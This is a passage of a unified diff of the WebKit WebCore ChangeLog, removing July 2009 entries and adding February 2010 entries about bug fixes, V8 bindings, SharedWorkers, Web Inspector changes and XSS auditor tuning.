-        (WebCore::SearchBuffer::append): Call foldQuoteMarks on characters as they are
-        added to the search buffer.
-
-        * platform/text/CharacterNames.h: Added more quotation mark character names.
-        Sorted character names with the sort tool.
-
-2009-07-13  Pavel Feldman  <pfeldman@chromium.org>
-
-        Reviewed by Timothy Hatcher.
-
-        WebInspector: handle debugger shortcuts while on source frame or on
-        script file selector.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27224
-
-        * inspector/front-end/ScriptsPanel.js:
-        (WebInspector.ScriptsPanel):
-        * inspector/front-end/SourceFrame.js:
-        (WebInspector.SourceFrame.prototype._loaded):
-
-2009-07-13  Sam Weinig  <sam@webkit.org>
-
-        Reviewed by Darin Adler.
-
-        Use standard HashCountedSet instead of a hand rolled one
-        in HTMLDocument.
-
-        * html/HTMLDocument.cpp:
-        (WebCore::addItemToMap):
-        (WebCore::removeItemFromMap):
-        * html/HTMLDocument.h:
-
-2009-07-13  Erik Arvidsson  <arv@chromium.org>
-
-        Reviewed by Darin Adler and Maciej Stachowiak.
-
-        Implement HTML5 draggable
-        https://bugs.webkit.org/show_bug.cgi?id=26262
-
-        This adds support for the HTML5 draggable attribute and its DOM binding. It maps the draggable property
-        to the CSS properties -webkit-user-drag and -webkit-user-select respectively.
-
-        Spec: http://www.whatwg.org/specs/web-apps/current-work/multipage/editing.html#the-draggable-attribute
-
-        Test: fast/html/draggable.html
-
-        * css/html.css:
-        * html/HTMLAnchorElement.cpp:
-        (WebCore::HTMLAnchorElement::draggable):
-        * html/HTMLAnchorElement.h:
-        * html/HTMLAttributeNames.in:
-        * html/HTMLElement.cpp:
-        (WebCore::HTMLElement::draggable):
-        (WebCore::HTMLElement::setDraggable):
-        * html/HTMLElement.h:
-        * html/HTMLElement.idl:
-        * html/HTMLImageElement.cpp:
-        (WebCore::HTMLImageElement::draggable):
-        * html/HTMLImageElement.h:
-
-2009-07-13  Simon Fraser  <simon.fraser@apple.com>
-
-        Reviewed by Dan Bernstein.
-
-        Image rendered as layer contents looks different from image rendered via CG.
-        <rdar://problem/7048830> 
-        
-        Fix a visible color profile difference between between images rendered via Core Graphics
-        and those rendered via a compositing layer, by assigning the GenericRGB profile to
-        untagged images (which come through as having the DeviceRGB profile) when they are set
-        as layer contents.
-
-        Test: compositing/color-matching/image-color-matching.html
-
-        * platform/graphics/mac/GraphicsLayerCA.mm:
-        (WebCore::GraphicsLayerCA::setContentsToImage):
-
-2009-07-13  Darin Adler  <darin@apple.com>
-
-        Reviewed by Oliver Hunt.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27220
-        Assertion failure in createSearcher() (usearch_open() status is U_USING_DEFAULT_WARNING)
-
-        * editing/TextIterator.cpp:
-        (WebCore::createSearcher): Add U_USING_DEFAULT_WARNING as a possible status code
-        in the assertion. Affects only the assertion.
-
-2009-07-13  Alexey Proskuryakov  <ap@webkit.org>
-
-        Reviewed by Darin Adler.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26925
-        <rdar://problem/7027850> URL Fragment Breaks Application Cache Loads
-
-        Test: http/tests/appcache/main-resource-hash.html
-
-        * loader/appcache/ApplicationCache.cpp:
-        (WebCore::ApplicationCache::resourceForURL):
-        (WebCore::ApplicationCache::resourceForRequest):
-        * loader/appcache/ApplicationCacheGroup.cpp:
-        (WebCore::ApplicationCacheGroup::cacheForMainRequest):
-        (WebCore::ApplicationCacheGroup::fallbackCacheForMainRequest):
-        (WebCore::ApplicationCacheGroup::selectCache):
-        (WebCore::ApplicationCacheGroup::finishedLoadingMainResource):
-        (WebCore::ApplicationCacheGroup::didReceiveResponse):
-        (WebCore::ApplicationCacheGroup::didFail):
-        (WebCore::ApplicationCacheGroup::addEntry):
-        Remove URL fragment at appcache code borders.
-
-        * loader/appcache/ApplicationCacheResource.h:
-        (WebCore::ApplicationCacheResource::create):
-        * loader/appcache/ApplicationCacheStorage.cpp:
-        (WebCore::ApplicationCacheStorage::findOrCreateCacheGroup):
-        (WebCore::ApplicationCacheStorage::cacheGroupForURL):
-        (WebCore::ApplicationCacheStorage::fallbackCacheGroupForURL):
-        Assert that there is no URL fragment in URL at key points in appcache code.
-
-2009-07-13  Darin Adler  <darin@apple.com>
-
-        Reviewed by Dan Bernstein.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27166
-        rdar://problem/7015857
-        Find for strings composed entirely of spaces doesn't work
-
-        Test: fast/text/find-spaces.html
-
-        * editing/TextIterator.cpp:
-        (WebCore::findPlainText): Removed unneeded special case.
-        The empty string case already works correctly.
-
-2009-07-13  Anders Carlsson  <andersca@apple.com>
-
-        Reviewed by Kevin Decker.
-
-        Remove NPPVpluginPrivateModeBool, it was removed from the spec.
-        
-        * bridge/npapi.h:
-
-2009-07-13  Feng Qian  <feng@chromium.org>
-
-        Reviewed by Dimitri Glazkov.
-
-        Fix for https://bugs.webkit.org/show_bug.cgi?id=27237
-
-        Make V8DOMMap.h compiling with gcc option -Werror=non=virtual-dtor.  
-
-        * bindings/v8/V8DOMMap.h:
-        (WebCore::WeakReferenceMap::WeakReferenceMap):
-        (WebCore::WeakReferenceMap::~WeakReferenceMap):
-
-2009-07-13  Dimitri Glazkov  <dglazkov@chromium.org>
-
-        Reviewed by Darin Fisher.
-
-        Remove an accidental add of bidi.(cpp|h) to WebCore.gypi.
-
-        * WebCore.gypi: Removed bidi.cpp and bidi.h
-
-2009-07-13  Dimitri Glazkov  <dglazkov@chromium.org>
-
-        Reviewed by Darin Fisher.
-
-        Update WebCore.gyp in preparation to hooking it up.
-
-        * WebCore.gypi: Added files that were mid-stream while switching over.
-
-2009-07-13  Dmitry Titov  <dimich@chromium.org>
-
-        Not reviewed, another small fix for Chromium build.
-
-        * bindings/v8/ScriptController.cpp:
-        (WebCore::ScriptController::evaluate):
-
-2009-07-13  Dmitry Titov  <dimich@chromium.org>
-
-        Not reviewed, fix Chromium build bustage.
-
-        * bindings/v8/ScriptController.cpp:
-        (WebCore::ScriptController::evaluate):
-        * bindings/v8/V8Proxy.cpp:
-        (WebCore::JavaScriptConsoleMessage::addToPage):
-        * bindings/v8/WorkerContextExecutionProxy.cpp:
-        (WebCore::handleConsoleMessage):
-
-2009-07-13  Sam Weinig  <sam@webkit.org>
-
-        Reviewed by Darin Adler.
-
-        Fix for https://bugs.webkit.org/show_bug.cgi?id=27234
-        <rdar://problem/7054356>
+        * bindings/v8/custom/V8DocumentLocationCustom.cpp:
+        * bindings/v8/custom/V8ElementCustom.cpp:
+        * bindings/v8/custom/V8EventCustom.cpp:
+        * bindings/v8/custom/V8HTMLAllCollectionCustom.cpp:
+        * bindings/v8/custom/V8HTMLAudioElementConstructor.cpp:
+        * bindings/v8/custom/V8HTMLCanvasElementCustom.cpp:
+        * bindings/v8/custom/V8HTMLCollectionCustom.cpp:
+        * bindings/v8/custom/V8HTMLDocumentCustom.cpp:
+        * bindings/v8/custom/V8HTMLFormElementCustom.cpp:
+        * bindings/v8/custom/V8HTMLFrameSetElementCustom.cpp:
+        * bindings/v8/custom/V8HTMLImageElementConstructor.cpp:
+        * bindings/v8/custom/V8HTMLOptionsCollectionCustom.cpp:
+        * bindings/v8/custom/V8HTMLSelectElementCustom.cpp:
+        * bindings/v8/custom/V8InjectedScriptHostCustom.cpp:
+        * bindings/v8/custom/V8MessageChannelConstructor.cpp:
+        * bindings/v8/custom/V8MessageEventCustom.cpp:
+        * bindings/v8/custom/V8NamedNodeMapCustom.cpp:
+        * bindings/v8/custom/V8NodeIteratorCustom.cpp:
+        * bindings/v8/custom/V8NodeListCustom.cpp:
+        * bindings/v8/custom/V8NotificationCenterCustom.cpp:
+        * bindings/v8/custom/V8SVGMatrixCustom.cpp:
+        * bindings/v8/custom/V8StyleSheetListCustom.cpp:
+        * bindings/v8/custom/V8TreeWalkerCustom.cpp:
+        * bindings/v8/custom/V8WebGLRenderingContextCustom.cpp:
+        * bindings/v8/custom/V8XSLTProcessorCustom.cpp:
 
-        Add null page check in HTMLDocument::hasFocus.
+2010-02-03  Sam Weinig  <sam@webkit.org>
 
-        Test: fast/dom/HTMLDocument/hasFocus-frameless-crash.html
+        Reviewed by Anders Carlsson.
 
-        * html/HTMLDocument.cpp:
-        (WebCore::HTMLDocument::hasFocus): Add page null check.
-        (WebCore::HTMLDocument::createTokenizer): Cleanup page null check.
+        Fix drawing buttons in viewless WebKit.
 
-2009-07-13  Dan Bernstein  <mitz@apple.com>
+        * platform/mac/ThemeMac.mm:
+        (WebCore::paintButton): If there is no view, make sure to flip the
+        context so that the button is drawn correctly.
 
-        Reviewed by Darin Adler.
+2010-02-03  Yael Aharon  <yael.aharon@nokia.com>
 
-        Disable continuous spell checking in the inspector
-        https://bugs.webkit.org/show_bug.cgi?id=27131
+        Reviewed by Kenneth Rohde Christiansen.
 
-        * inspector/front-end/inspector.html: Added spellcheck="false" to the
-            main-panels and console-prompt containers.
+        [Qt] WebSockets : Buffer the data in WebKit instead of QtNetwork
+        https://bugs.webkit.org/show_bug.cgi?id=34425
 
-2009-07-13  Adam Langley  <agl@google.com>
+        Reverting r54279, it was a misunderstanding.
 
-        Reviewed by Eric Seidel.
+        * platform/network/qt/SocketStreamHandlePrivate.h:
+        * platform/network/qt/SocketStreamHandleQt.cpp:
+        (WebCore::SocketStreamHandlePrivate::SocketStreamHandlePrivate):
+        (WebCore::SocketStreamHandlePrivate::send):
+        (WebCore::SocketStreamHandlePrivate::close):
 
-        Chromium Linux: fix assertion when rendering google.com.kh
+2010-02-03  Drew Wilson  <atwilson@chromium.org>
 
-        https://bugs.webkit.org/show_bug.cgi?id=26924
+        Reviewed by Alexey Proskuryakov.
 
-        Some shapers (i.e. Khmer) will produce cluster logs which report that
-        /no/ code points contributed to certain glyphs. Because of this, we
-        take any code point which contributed to the glyph in question, or any
-        subsequent glyph.  If we run off the end, then we take the last code
-        point.
+        SharedWorkerScriptLoader should not be an ActiveDOMObject
+        https://bugs.webkit.org/show_bug.cgi?id=34513
 
-        Added LayoutTests/fast/text/international/khmar-selection.html
+        Test: Existing tests suffice (fixes test downstream in Chrome).
 
-        * platform/graphics/chromium/FontLinux.cpp:
-        (WebCore::Font::offsetForPositionForComplexText):
+        * workers/DefaultSharedWorkerRepository.cpp:
+        (WebCore::SharedWorkerScriptLoader::SharedWorkerScriptLoader):
+        Changed to no longer derive from ActiveDOMObject (handles its own refcounting).
+        (WebCore::SharedWorkerScriptLoader::load):
+        Now increments own refcount when a load is pending.
+        (WebCore::SharedWorkerScriptLoader::notifyFinished):
+        Changed to decrement refcount when load is complete.
+        * workers/WorkerScriptLoaderClient.h:
+        Documentation change about reliability of notifyFinished() when used from worker context.
 
-2009-07-13  Dan Bernstein  <mitz@apple.com>
+2010-02-03  Pavel Feldman  <pfeldman@chromium.org>
 
-        Reviewed by Darin Adler.
+        Reviewed by Timothy Hatcher.
 
-        spellcheck="false" is ignored
-        <rdar://problem/7054177>
+        Web Inspector: Inspector renders blank scripts on reloading the webpage.
 
-        * editing/Editor.cpp:
-        (WebCore::markMisspellingsOrBadGrammar): Moved code to check the
-            spellcheck attribute from here...
-        (WebCore::Editor::spellCheckingEnabledInFocusedNode): ...to here.
-        (WebCore::Editor::markAllMisspellingsAndBadGrammarInRanges): Bail out
-            if spell chcking is disabled by the spellcheck attribute.
-        * editing/Editor.h:
+        https://bugs.webkit.org/show_bug.cgi?id=34537
 
-2009-07-13  Brent Fulgham  <bfulgham@webkit.org>
+        * inspector/front-end/ResourcesPanel.js:
+        (WebInspector.ResourcesPanel.prototype.recreateViewForResourceIfNeeded):
 
-        Reviewed by Adam Roben.
+2010-02-03  Yury Semikhatsky  <yurys@chromium.org>
 
-        Add new configuration flag for redistributable Windows build.
-        https://bugs.webkit.org/show_bug.cgi=27087
-        
-        * WebCore.vcproj/WebCore.vcproj: Add new WinCairo.vsprops to
-          Debug_Cairo and Release_Cairo builds.
-        * config.h: Check for presence of WIN_CAIRO and select appropriate
-          configuration.  Defaults to standard Apple build.
+        Reviewed by Pavel Feldman.
 
-2009-07-13  Peter Kasting  <pkasting@google.com>
+        Provide strongly typed C++ interface for inspector's injected script.
 
-        https://bugs.webkit.org/show_bug.cgi?id=19562
-        Back out previous patch for this bug (too many problems).
+        https://bugs.webkit.org/show_bug.cgi?id=33616
 
-        * DerivedSources.cpp:
-        * DerivedSources.make:
-        * GNUmakefile.am:
         * WebCore.gypi:
         * WebCore.pro:
         * WebCore.vcproj/WebCore.vcproj:
         * WebCore.xcodeproj/project.pbxproj:
-        * WebCoreSources.bkl:
-        * html/HTMLButtonElement.idl:
-        * html/HTMLFieldSetElement.idl:
-        * html/HTMLFormControlElement.cpp:
-        * html/HTMLFormControlElement.h:
-        (WebCore::HTMLFormControlElement::form):
-        * html/HTMLInputElement.idl:
-        * html/HTMLSelectElement.idl:
-        * html/HTMLTextAreaElement.idl:
-        * html/ValidityState.cpp: Removed.
-        * html/ValidityState.h: Removed.
-        * html/ValidityState.idl: Removed.
-
-2009-07-13  Nate Chapin  <japhet@chromium.org>
-
-        Reviewed by Dimitri Glazkov.
-
-        Add HTMLAllCollection to WebCore.gypi.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27223
-
-        * WebCore.gypi: Add HTMLAllCollection.
-
-2009-07-13  Dimitri Glazkov  <dglazkov@chromium.org>
-
-        Reviewed by Darin Fisher.
-
-        [V8] Add a missing check for constructor call in WebKitCSSMatrixConstructor.
-        https://bugs.webkit.org/show_bug.cgi?id=27218
-
-        Test: fast/css/matrix-as-function-crash.html
-
-        * bindings/v8/custom/V8WebKitCSSMatrixConstructor.cpp:
-        (WebCore::CALLBACK_FUNC_DECL): Added a check for constructor call.
-
-2009-07-13  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
-
-        Unreviewed make dist build fix.
-
-        * GNUmakefile.am:
-
-2009-07-13  Cédric Luthi  <cedric.luthi@gmail.com>
-
-        Reviewed by Tor Arne Vestbø.
-
-        Fix NPWindow clip rect in PluginViewMac
-
-        The rect should be in window-coordinates. This bug can be observed
-        with Flash 10 here: http://www.permadi.com/tutorial/cursorTracker/
-
-        * plugins/mac/PluginViewMac.cpp:
-
-2009-07-13  Simon Hausmann  <hausmann@webkit.org>
-
-        Reviewed by Ariya Hidayat.
-
-        Fix Qt implementation of WebCore::directoryName to return the absolute
-        directory name instead of the base file name.
-
-        * platform/qt/FileSystemQt.cpp:
-        (WebCore::directoryName):
-
-2009-07-13  Simon Hausmann  <hausmann@webkit.org>
-
-        Reviewed by Ariya Hidayat.
-
-        Fix WebCore::Path::isEmpty() for the Qt port to return true
-        if there is no element in the path.
-
-        QPainterPath::isEmpty() returns also true if there is one single
-        MoveTo element inside, which makes sense but doesn't patch Webcore's
-        is-empty definition.
-
-        * platform/graphics/qt/PathQt.cpp:
-        (WebCore::Path::isEmpty): Use elementCount() == 0.
-
-2009-07-13  Albert J. Wong  <ajwong@chromium.org>
-
-        Reviewed by Dimitri Glazkov.
-
-        Upstream fixes to NPV8Object.cpp that make ~30 layout tests pass.
-        https://bugs.webkit.org/show_bug.cgi?id=27127
-
-        There were a number of bugs introduced during the last upstreaming
-        effort that broke around 30 layout tests.  This fixes those bugs.
-        It also has compile fixes to match the recent cutting apart of
-        V8Proxy.
-
-        * bindings/v8/NPV8Object.cpp:
-        (freeV8NPObject):
-        (npCreateV8ScriptObject):
-        (NPN_Invoke):
-        (NPN_InvokeDefault):
-        (NPN_EvaluateHelper):
-        (NPN_SetException):
-        (NPN_Construct):
-
-2009-07-13  Mads Ager  <ager@chromium.org>
-
-        Reviewed by Adam Barth.
-
-        Fix memory leak in the V8 binding layer. 
-        https://bugs.webkit.org/show_bug.cgi?id=27163
-
-        Reinitializing the context is not necessary when clearing the proxy for navigation
-        and it will lead us to hold on to an empty context for each frame.
-
-        Test for empty context instead of empty global object handle when
-        updating the document for a context.
-
-        * bindings/v8/V8Proxy.cpp:
-        (WebCore::V8Proxy::clearForNavigation):
-        (WebCore::V8Proxy::updateDocument):
-
-2009-07-13  John Gregg  <johnnyg@google.com>
-
-        Reviewed by David Levin.
-
-        Correct the logic to determine if a V8 callback returns a value.
-        https://bugs.webkit.org/show_bug.cgi?id=27155
-
-        * bindings/v8/custom/V8CustomVoidCallback.cpp:
-        (WebCore::invokeCallback):
-        - Don't crash if result.IsEmpty().
-
-2009-07-13  Drew Wilson  <atwilson@google.com>
-
-        Reviewed by David Levin.
-
-        Add ENABLE(SHARED_WORKERS) flag and define SharedWorker APIs
-        https://bugs.webkit.org/show_bug.cgi?id=26932
-
-        Initial IDL definition and bindings for SharedWorkers.
-
-        * Configurations/FeatureDefines.xcconfig:
-        Added new files for SharedWorker support.
-        * DerivedSources.make:
-        Added new files for SharedWorker support.
-        * GNUmakefile.am:
-        Added new files for SharedWorker support.
-        * WebCore.gypi:
-        Added new files for SharedWorker support.
-        * WebCore.pro:
-        Added new files for SharedWorker support.
-        * WebCore.xcodeproj/project.pbxproj:
-        Added new files for SharedWorker support.
-        * bindings/js/JSAbstractWorkerCustom.cpp: Added.
-        (WebCore::JSAbstractWorker::mark):
-        Custom mark handler that marks the event listeners.
-        (WebCore::JSAbstractWorker::addEventListener):
-        (WebCore::JSAbstractWorker::removeEventListener):
-        (WebCore::JSAbstractWorker::toJS):
-        Custom toJS handler which differentiates between various subclasses.
-        * bindings/js/JSDOMWindowCustom.cpp:
-        (WebCore::JSDOMWindow::sharedWorker):
-        SharedWorker constructor (only enabled when SHARED_WORKERS is
-        enabled).
-        * bindings/js/JSEventTarget.cpp:
-        (WebCore::toJS):
-        (WebCore::toEventTarget):
-        Added support for converting to/from SharedWorkers.
-        * bindings/js/JSSharedWorkerConstructor.cpp: Added.
-        (WebCore::JSSharedWorkerConstructor::JSSharedWorkerConstructor):
-        (WebCore::constructSharedWorker):
-        (WebCore::JSSharedWorkerConstructor::getConstructData):
-        * bindings/js/JSSharedWorkerConstructor.h: Added.
-        (WebCore::JSSharedWorkerConstructor::classInfo):
-        * bindings/js/JSSharedWorkerCustom.cpp: Added.
-        (WebCore::JSSharedWorker::mark):
-        Custom mark function that marks the internal MessagePort.
-        * bindings/v8/DOMObjectsInclude.h:
-        Updated to include new header files.
-        * bindings/v8/V8Index.cpp:
-        * bindings/v8/V8Index.h:
-        * bindings/v8/custom/V8AbstractWorkerCustom.cpp: Added.
-        (WebCore::getEventListener):
-        (WebCore::ACCESSOR_GETTER):
-        (WebCore::ACCESSOR_SETTER):
-        (WebCore::CALLBACK_FUNC_DECL):
-        V8 handlers for add/removeEventListener().
-        * bindings/v8/custom/V8CustomBinding.h:
-        * bindings/v8/custom/V8SharedWorkerCustom.cpp: Added.
-        (WebCore::CALLBACK_FUNC_DECL):
-        Custom constructor for SharedWorker.
-        * dom/EventTarget.cpp:
-        (WebCore::EventTarget::toSharedWorker):
-        * dom/EventTarget.h:
-        * page/DOMWindow.idl:
-        * workers/AbstractWorker.cpp: Added.
-        (WebCore::AbstractWorker::AbstractWorker):
-        Common base class for SharedWorker and (soon) Worker. The functions below were copied from Worker.cpp.
-        This is the first step in refactoring Worker to derive from AbstractWorker to enable code sharing.
-        (WebCore::AbstractWorker::~AbstractWorker):
-        (WebCore::AbstractWorker::addEventListener):
-        (WebCore::AbstractWorker::removeEventListener):
-        (WebCore::AbstractWorker::dispatchEvent):
-        (WebCore::AbstractWorker::dispatchLoadErrorEvent):
-        (WebCore::AbstractWorker::dispatchScriptErrorEvent):
-        * workers/AbstractWorker.h: Added.
-        Definitions of functionality shared by Worker.h and SharedWorker.h. In a future patch, Worker will derive from AbstractWorker.
-        (WebCore::AbstractWorker::scriptExecutionContext):
-        (WebCore::AbstractWorker::setOnerror):
-        (WebCore::AbstractWorker::onerror):
-        (WebCore::AbstractWorker::eventListeners):
-        (WebCore::AbstractWorker::refEventTarget):
-        (WebCore::AbstractWorker::derefEventTarget):
-        * workers/AbstractWorker.idl: Added.
-        * workers/SharedWorker.cpp: Added.
-        (WebCore::SharedWorker::SharedWorker):
-        (WebCore::SharedWorker::~SharedWorker):
-        * workers/SharedWorker.h: Added.
-        (WebCore::SharedWorker::create):
-        (WebCore::SharedWorker::port):
-        (WebCore::SharedWorker::toSharedWorker):
-        * workers/SharedWorker.idl: Added.
-
-2009-07-13  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
-
-        Reviewed by Simon Hausmann.
-
-        [Qt] Cleanup - Remove prf install target
-        https://bugs.webkit.org/show_bug.cgi?id=27191
-
-        qtwebkit.prf has been removed; this cleans up the related
-        install target as well.
-
-        * WebCore.pro: Remove prf install target
-
-2009-07-12  Adam Barth  <abarth@webkit.org>
-
-        Reviewed by Oliver Hunt.
-
-        Facebook Chat is broken due to XSS auditor
-        https://bugs.webkit.org/show_bug.cgi?id=27179
-
-        Instead of just using the script's URL as to detect an XSS attack, we
-        now use a bit of context before the URL.  In particular, we use the
-        bytes from the beginning of the attribute name to the end of the
-        attribute value.  In virtually all injection attacks, the attacker
-        would need to supply the attribute name as well as the attribute value.
-        However, in the Facebook false positive, the attribute name is not
-        present in the URL.
-
-        Tests: http/tests/security/xssAuditor/script-tag-src-redirect-safe.html
-               http/tests/security/xssAuditor/script-tag-with-source-double-quote.html
-               http/tests/security/xssAuditor/script-tag-with-source-no-quote.html
-
-        * html/HTMLTokenizer.cpp:
-        (WebCore::HTMLTokenizer::parseTag):
-        * html/HTMLTokenizer.h:
-        * page/XSSAuditor.cpp:
-        (WebCore::XSSAuditor::canLoadExternalScriptFromSrc):
-        * page/XSSAuditor.h:
-
-2009-07-12  Keishi Hattori  <casey.hattori@gmail.com>
-
-        Reviewed by Timothy Hatcher.
-
-        Refactor ConsoleMessage to add MessageType attribute.
-        https://bugs.webkit.org/show_bug.cgi?id=20625
-
-        * bindings/js/JSCustomXPathNSResolver.cpp:
-        (WebCore::JSCustomXPathNSResolver::lookupNamespaceURI):
-        * bindings/js/JSDOMWindowBase.cpp:
-        (WebCore::JSDOMWindowBase::printErrorMessage):
-        * dom/Document.cpp:
-        (WebCore::Document::reportException):
-        (WebCore::Document::addMessage):
-        * dom/Document.h:
-        * dom/ScriptExecutionContext.h:
-        * html/HTMLParser.cpp:
-        (WebCore::HTMLParser::reportErrorToConsole):
-        * inspector/ConsoleMessage.cpp:
-        (WebCore::ConsoleMessage::ConsoleMessage):
-        (WebCore::ConsoleMessage::addToConsole):
-        (WebCore::ConsoleMessage::isEqual):
-        * inspector/ConsoleMessage.h:
+        * bindings/js/JSInjectedScriptHostCustom.cpp:
+        (WebCore::InjectedScriptHost::injectedScriptFor):
+        * bindings/v8/custom/V8InjectedScriptHostCustom.cpp:
+        (WebCore::InjectedScriptHost::injectedScriptFor):
+        * inspector/InjectedScript.cpp: Added.
+        (WebCore::InjectedScript::InjectedScript):
+        (WebCore::InjectedScript::dispatch):
+        (WebCore::InjectedScript::callFrames):
+        (WebCore::InjectedScript::wrapAndStringify):
+        (WebCore::InjectedScript::releaseWrapperObjectGroup):
+        * inspector/InjectedScript.h: Added.
+        (WebCore::InjectedScript::InjectedScript):
+        (WebCore::InjectedScript::~InjectedScript):
+        (WebCore::InjectedScript::hasNoValue):
+        * inspector/InjectedScriptHost.cpp:
+        (WebCore::InjectedScriptHost::injectedScriptForId):
+        (WebCore::InjectedScriptHost::releaseWrapperObjectGroup):
+        * inspector/InjectedScriptHost.h:
+        * inspector/InspectorBackend.cpp:
+        (WebCore::InspectorBackend::dispatchOnInjectedScript):
         * inspector/InspectorController.cpp:
-        (WebCore::InspectorController::addMessageToConsole):
-        (WebCore::InspectorController::startGroup):
-        (WebCore::InspectorController::endGroup):
-        (WebCore::InspectorController::addProfileFinishedMessageToConsole):
-        (WebCore::InspectorController::addStartProfilingMessageToConsole):
-        (WebCore::InspectorController::count):
+        (WebCore::InspectorController::InspectorController):
+        (WebCore::InspectorController::~InspectorController):
+        (WebCore::InspectorController::inspectedPageDestroyed):
+        (WebCore::InspectorController::windowScriptObjectAvailable):
+        (WebCore::InspectorController::scriptObjectReady):
+        (WebCore::InspectorController::setFrontendProxyObject):
+        (WebCore::InspectorController::close):
+        (WebCore::InspectorController::getProfile):
+        (WebCore::InspectorController::enableDebugger):
+        (WebCore::InspectorController::didPause):
+        (WebCore::InspectorController::injectedScriptForNodeId):
         * inspector/InspectorController.h:
-        * inspector/front-end/Console.js:
-        (WebInspector.Console.prototype.addMessage):
-        (WebInspector.ConsoleMessage): Added type property.
-        (WebInspector.ConsoleMessage.prototype.toMessageElement):
-        (WebInspector.ConsoleMessage.prototype.toString):
-        (WebInspector.ConsoleMessage.prototype.isEqual):
-        (WebInspector.ConsoleCommandResult):
-        (WebInspector.ConsoleGroup.prototype.addMessage):
-        (WebInspector.ConsoleGroup.prototype._titleClicked):
-        * inspector/front-end/Resource.js:
-        (WebInspector.Resource.prototype._addTip):
-        (WebInspector.Resource.prototype._checkWarning):
-        * inspector/front-end/inspector.css: Changed ".console-group-title-level" to ".console-group-title"
-        * inspector/front-end/inspector.js:
-        (WebInspector.addMessageToConsole):
-        * loader/DocLoader.cpp:
-        (WebCore::DocLoader::printAccessDeniedMessage):
-        * loader/EmptyClients.h:
-        (WebCore::EmptyChromeClient::addMessageToConsole):
-        * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::reportLocalLoadFailed):
-        (WebCore::FrameLoader::shouldAllowNavigation):
-        * page/ChromeClient.h:
-        * page/Console.cpp:
-        (WebCore::printMessageSourceAndLevelPrefix):
-        (WebCore::Console::addMessage):
-        (WebCore::Console::error):
-        (WebCore::Console::log):
-        (WebCore::Console::dir):
-        (WebCore::Console::trace):
-        (WebCore::Console::assertCondition):
-        (WebCore::Console::timeEnd):
-        (WebCore::Console::warn):
-        * page/Console.h: Added MessageType enum.
-        (WebCore::):
-        * page/DOMWindow.cpp:
-        (WebCore::DOMWindow::postMessageTimerFired):
-        * page/XSSAuditor.cpp:
-        (WebCore::XSSAuditor::canEvaluate):
-        (WebCore::XSSAuditor::canLoadExternalScriptFromSrc):
-        (WebCore::XSSAuditor::canLoadObject):
-        * svg/SVGDocumentExtensions.cpp:
-        (WebCore::SVGDocumentExtensions::reportWarning):
-        (WebCore::SVGDocumentExtensions::reportError):
-        * wml/WMLErrorHandling.cpp:
-        (WebCore::reportWMLError):
-        * workers/GenericWorkerTask.h: Added GenericWorkerTask8 for the extra argument.
-        (WebCore::GenericWorkerTask8::create):
-        (WebCore::GenericWorkerTask8::GenericWorkerTask8):
-        (WebCore::GenericWorkerTask8::performTask):
-        (WebCore::createCallbackTask):
-        * workers/WorkerContext.cpp:
-        (WebCore::WorkerContext::addMessage):
-        (WebCore::WorkerContext::importScripts):
-        * workers/WorkerContext.h:
-        * workers/WorkerMessagingProxy.cpp:
-        (WebCore::postConsoleMessageTask):
-        (WebCore::WorkerMessagingProxy::postConsoleMessageToWorkerObject):
-        * workers/WorkerMessagingProxy.h:
-        * workers/WorkerObjectProxy.h:
-        * xml/XMLHttpRequest.cpp:
-        (WebCore::reportUnsafeUsage):
-        (WebCore::XMLHttpRequest::didFinishLoading):
-        * xml/XSLTProcessor.cpp:
-        (WebCore::XSLTProcessor::parseErrorFunc):
-
-2009-07-12  Nate Chapin  <japhet@chromium.org>
-
-        Reviewed by Dimitri Glazkov.
-
-        Upstream UndetectableHTMLCollection.idl as HTMLAllCollection.idl.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27132
-
-        * bindings/scripts/CodeGeneratorV8.pm:
-        * bindings/v8/DOMObjectsInclude.h:
-        * bindings/v8/DerivedSourcesAllInOne.cpp:
-        * bindings/v8/V8DOMWrapper.cpp:
-        (WebCore::V8DOMWrapper::getTemplate):
-        (WebCore::V8DOMWrapper::instantiateV8Object):
-        * bindings/v8/V8Index.cpp:
-        * bindings/v8/V8Index.h:
-        * dom/HTMLAllCollection.idl: Added.
-
-2009-07-12  Joseph Pecoraro  <joepeck02@gmail.com>
-
-        Reviewed by Maciej Stachowiak.
-
-        Inspector: Duplicate Computation in Autocompletion
-        https://bugs.webkit.org/show_bug.cgi?id=26778
-
-        * inspector/front-end/TextPrompt.js:
-        (WebInspector.TextPrompt.prototype._completionsReady):
-
-2009-07-12  Dan Bernstein  <mitz@apple.com>
-
-        Reviewed by Maciej Stachowiak.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27196
-        Rename bidi.cpp to RenderBlockLineLayout.cpp and remove bidi.h
-
-        * GNUmakefile.am: Updated.
-        * WebCore.gypi: Updated.
-        * WebCore.pro: Updated.
-        * WebCore.vcproj/WebCore.vcproj: Updated.
-        * WebCore.xcodeproj/project.pbxproj: Updated.
-        * WebCoreSources.bkl: Updated.
-        * rendering/RenderBlock.h: Removed unnecessary forward declaration and
-            updated comments.
-        * rendering/RenderBlockLineLayout.cpp: Copied from WebCore/rendering/bidi.cpp.
-            Removed unnecessary #include statements.
-        (WebCore::BidiRun::BidiRun): Moved here from bidi.h.
-        (WebCore::RenderBlock::layoutInlineChildren): Removed outdated comment.
-        * rendering/bidi.cpp: Removed.
-        * rendering/bidi.h: Removed.
-
-2009-07-12  Dan Bernstein  <mitz@apple.com>
-
-        - Windows build fix
-
-        * platform/graphics/cg/PDFDocumentImage.cpp:
-        (WebCore::PDFDocumentImage::dataChanged):
-
-2009-07-12  Dan Bernstein  <mitz@apple.com>
-
-        Reviewed by Sam Weinig.
-
-        - Image cleanup
-
-        * platform/graphics/BitmapImage.cpp:
-        (WebCore::BitmapImage::destroyDecodedData): Use the data() accessor
-        instead of the m_data member.
-        (WebCore::BitmapImage::dataChanged): Ditto.
-        * platform/graphics/Image.h: Re-ordered #includes and class
-        declarations. Removed the drawPatternCallback() declaration. Made member
-        variables private.
-        * platform/graphics/cg/ImageCG.cpp:
-        (WebCore::drawPatternCallback): Changed this from a member function to a
-        static function.
